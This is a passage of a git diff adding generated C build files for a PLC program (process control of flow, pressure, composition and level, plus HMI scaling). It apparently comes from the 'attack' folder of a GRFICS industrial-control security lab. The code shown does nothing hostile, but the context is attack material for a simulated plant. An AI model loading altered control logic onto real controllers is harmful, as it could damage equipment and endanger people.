__INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN 